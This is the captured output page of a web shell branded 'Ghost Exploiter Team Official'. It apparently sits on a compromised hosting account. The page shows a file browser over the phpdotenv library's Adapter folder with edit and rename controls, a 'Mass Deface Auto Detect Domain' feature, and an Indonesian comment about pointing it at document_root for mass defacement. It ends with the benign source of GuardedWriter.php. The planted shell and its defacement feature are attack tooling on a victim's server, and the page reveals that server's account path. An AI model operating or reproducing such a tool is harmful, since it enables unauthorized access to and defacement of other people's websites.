webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
vlucas
/
phpdotenv
/
src
/
Repository
/
Adapter
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AdapterInterface.php
0.338KB
edt
ren
ApacheAdapter.php
1.928KB
edt
ren
ArrayAdapter.php
1.572KB
edt
ren
EnvConstAdapter.php
1.897KB
edt
ren
GuardedWriter.php
1.831KB
edt
ren
ImmutableWriter.php
2.482KB
edt
ren
MultiReader.php
0.946KB
edt
ren
MultiWriter.php
1.27KB
edt
ren
PutenvAdapter.php
1.849KB
edt
ren
ReaderInterface.php
0.293KB
edt
ren
ReplacingWriter.php
2.159KB
edt
ren
ServerConstAdapter.php
1.912KB
edt
ren
WriterInterface.php
0.506KB
edt
ren
<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; final class GuardedWriter implements WriterInterface { /** * The inner writer to use. * * @var \Dotenv\Repository\Adapter\WriterInterface */ private $writer; /** * The variable name allow list. * * @var string[] */ private $allowList; /** * Create a new guarded writer instance. * * @param \Dotenv\Repository\Adapter\WriterInterface $writer * @param string[] $allowList * * @return void */ public function __construct(WriterInterface $writer, array $allowList) { $this->writer = $writer; $this->allowList = $allowList; } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { // Don't set non-allowed variables if (!$this->isAllowed($name)) { return false; } // Set the value on the inner writer return $this->writer->write($name, $value); } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { // Don't clear non-allowed variables if (!$this->isAllowed($name)) { return false; } // Set the value on the inner writer return $this->writer->delete($name); } /** * Determine if the given variable is allowed. * * @param non-empty-string $name * * @return bool */ private function isAllowed(string $name) { return \in_array($name, $this->allowList, true); } }